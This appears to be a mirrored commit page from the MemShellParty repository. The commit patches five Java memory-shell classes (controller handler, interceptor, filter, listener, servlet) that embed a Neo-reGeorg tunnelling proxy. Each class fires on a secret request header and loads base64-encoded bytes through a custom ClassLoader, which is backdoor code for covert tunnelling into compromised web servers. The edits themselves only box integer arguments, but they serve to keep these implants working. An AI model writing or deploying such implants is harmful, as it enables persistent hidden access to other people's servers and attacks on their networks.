mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
fix: NeoreGeorg proxy not work
This commit is contained in:
+8
-7
@@ -40,6 +40,7 @@ public class NeoreGeorgControllerHandler extends ClassLoader implements Controll
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||||
try {
|
try {
|
||||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
@@ -48,14 +49,14 @@ public class NeoreGeorgControllerHandler extends ClassLoader implements Controll
|
|||||||
response,
|
response,
|
||||||
chars.toCharArray(),
|
chars.toCharArray(),
|
||||||
base64Bytes,
|
base64Bytes,
|
||||||
200,
|
new Integer(200),
|
||||||
513,
|
new Integer(513),
|
||||||
524288,
|
new Integer(524288),
|
||||||
hello,
|
hello,
|
||||||
1447564139,
|
new Integer(1447564139),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
};
|
};
|
||||||
|
|
||||||
if (namespace.get(chars) == null) {
|
if (namespace.get(chars) == null) {
|
||||||
|
|||||||
+8
-7
@@ -40,6 +40,7 @@ public class NeoreGeorgInterceptor extends ClassLoader implements AsyncHandlerIn
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
try {
|
try {
|
||||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
@@ -48,14 +49,14 @@ public class NeoreGeorgInterceptor extends ClassLoader implements AsyncHandlerIn
|
|||||||
response,
|
response,
|
||||||
chars.toCharArray(),
|
chars.toCharArray(),
|
||||||
base64Bytes,
|
base64Bytes,
|
||||||
200,
|
new Integer(200),
|
||||||
513,
|
new Integer(513),
|
||||||
524288,
|
new Integer(524288),
|
||||||
hello,
|
hello,
|
||||||
1447564139,
|
new Integer(1447564139),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
};
|
};
|
||||||
|
|
||||||
if (namespace.get(chars) == null) {
|
if (namespace.get(chars) == null) {
|
||||||
|
|||||||
+8
-7
@@ -43,6 +43,7 @@ public class NeoreGeorgFilter extends ClassLoader implements Filter {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
@@ -53,14 +54,14 @@ public class NeoreGeorgFilter extends ClassLoader implements Filter {
|
|||||||
response,
|
response,
|
||||||
chars.toCharArray(),
|
chars.toCharArray(),
|
||||||
base64Bytes,
|
base64Bytes,
|
||||||
200,
|
new Integer(200),
|
||||||
513,
|
new Integer(513),
|
||||||
524288,
|
new Integer(524288),
|
||||||
hello,
|
hello,
|
||||||
1447564139,
|
new Integer(1447564139),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
};
|
};
|
||||||
|
|
||||||
if (namespace.get(chars) == null) {
|
if (namespace.get(chars) == null) {
|
||||||
|
|||||||
+8
-7
@@ -86,6 +86,7 @@ public class NeoreGeorgListener extends ClassLoader implements ServletRequestLis
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
public void requestInitialized(ServletRequestEvent sre) {
|
public void requestInitialized(ServletRequestEvent sre) {
|
||||||
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
|
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
|
||||||
try {
|
try {
|
||||||
@@ -97,14 +98,14 @@ public class NeoreGeorgListener extends ClassLoader implements ServletRequestLis
|
|||||||
response,
|
response,
|
||||||
chars.toCharArray(),
|
chars.toCharArray(),
|
||||||
base64Bytes,
|
base64Bytes,
|
||||||
200,
|
new Integer(200),
|
||||||
513,
|
new Integer(513),
|
||||||
524288,
|
new Integer(524288),
|
||||||
hello,
|
hello,
|
||||||
1447564139,
|
new Integer(1447564139),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
};
|
};
|
||||||
|
|
||||||
if (namespace.get(chars) == null) {
|
if (namespace.get(chars) == null) {
|
||||||
|
|||||||
+8
-7
@@ -38,6 +38,7 @@ public class NeoreGeorgServlet extends ClassLoader implements Servlet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
|
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
|
||||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||||
@@ -48,14 +49,14 @@ public class NeoreGeorgServlet extends ClassLoader implements Servlet {
|
|||||||
response,
|
response,
|
||||||
chars.toCharArray(),
|
chars.toCharArray(),
|
||||||
base64Bytes,
|
base64Bytes,
|
||||||
200,
|
new Integer(200),
|
||||||
513,
|
new Integer(513),
|
||||||
524288,
|
new Integer(524288),
|
||||||
hello,
|
hello,
|
||||||
1447564139,
|
new Integer(1447564139),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
0,
|
new Integer(0),
|
||||||
};
|
};
|
||||||
|
|
||||||
if (namespace.get(chars) == null) {
|
if (namespace.get(chars) == null) {
|
||||||
|
|||||||
+8
-7
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Reference in New Issue
Block a user